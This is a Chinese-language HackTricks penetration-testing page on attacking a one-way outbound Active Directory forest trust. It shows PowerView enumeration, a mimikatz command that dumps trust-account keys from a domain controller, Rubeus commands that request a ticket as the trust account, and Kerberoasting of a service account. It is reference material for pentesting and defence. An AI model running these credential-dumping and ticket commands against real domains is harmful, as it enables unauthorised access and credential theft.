hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md
2023-08-03 19:12:22 +00:00

7 KiB
Raw Blame History

外部森林域 - 单向(出站)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

在这种情况下,你的域信任来自不同域的某些特权

枚举

出站信任

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

信任账户攻击

当从域_B_到域_A__B_信任A建立Active Directory域或森林信任时在域A中创建了一个名为B. Kerberos trust keys的信任账户,该账户的密码派生出来的信任账户的密码用于加密跨域TGTs当域A的用户请求域B中的服务票证时。

可以通过以下方式从域控制器获取信任账户的密码和哈希值:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

风险是因为启用了信任账户B$B$的主要组是域A的域用户对域用户授予的任何权限都适用于B$可以使用B$的凭据对域A进行身份验证。

{% hint style="warning" %} 因此,从信任域中可以获取到受信任域内的用户。这个用户可能没有很多权限(可能只有域用户权限),但你将能够枚举外部域。 {% endhint %}

在这个例子中,信任域是ext.local,受信任域是root.local。因此,在root.local中创建了一个名为EXT$的用户。

# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes

因此,此时我们拥有 root.local\EXT$ 的当前 明文密码和Kerberos秘密密钥root.local\EXT$ 的Kerberos AES秘密密钥与AES信任密钥相同只是使用了不同的盐RC4密钥是相同的。因此我们可以使用从ext.local转储的RC4信任密钥来对 root.local 进行身份验证,作为 root.local\EXT$

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

通过这个方法你可以开始枚举该域并且甚至可以对用户进行Kerberoasting攻击

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

收集明文信任密码

在之前的流程中,使用了信任哈希而不是明文密码(也被mimikatz转储)。

可以通过将mimikatz的[ CLEAR ]输出从十六进制转换并删除空字节‘\x00来获取明文密码

有时在创建信任关系时用户必须输入信任密码。在这个演示中关键是原始的信任密码因此是可读的。随着密钥的循环30天明文将不再是可读的但从技术上仍然可用。

明文密码可以用于以信任账户的身份执行常规身份验证这是一种使用信任账户的Kerberos密钥请求TGT的替代方法。在这里从ext.local查询root.local的Domain Admins成员

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥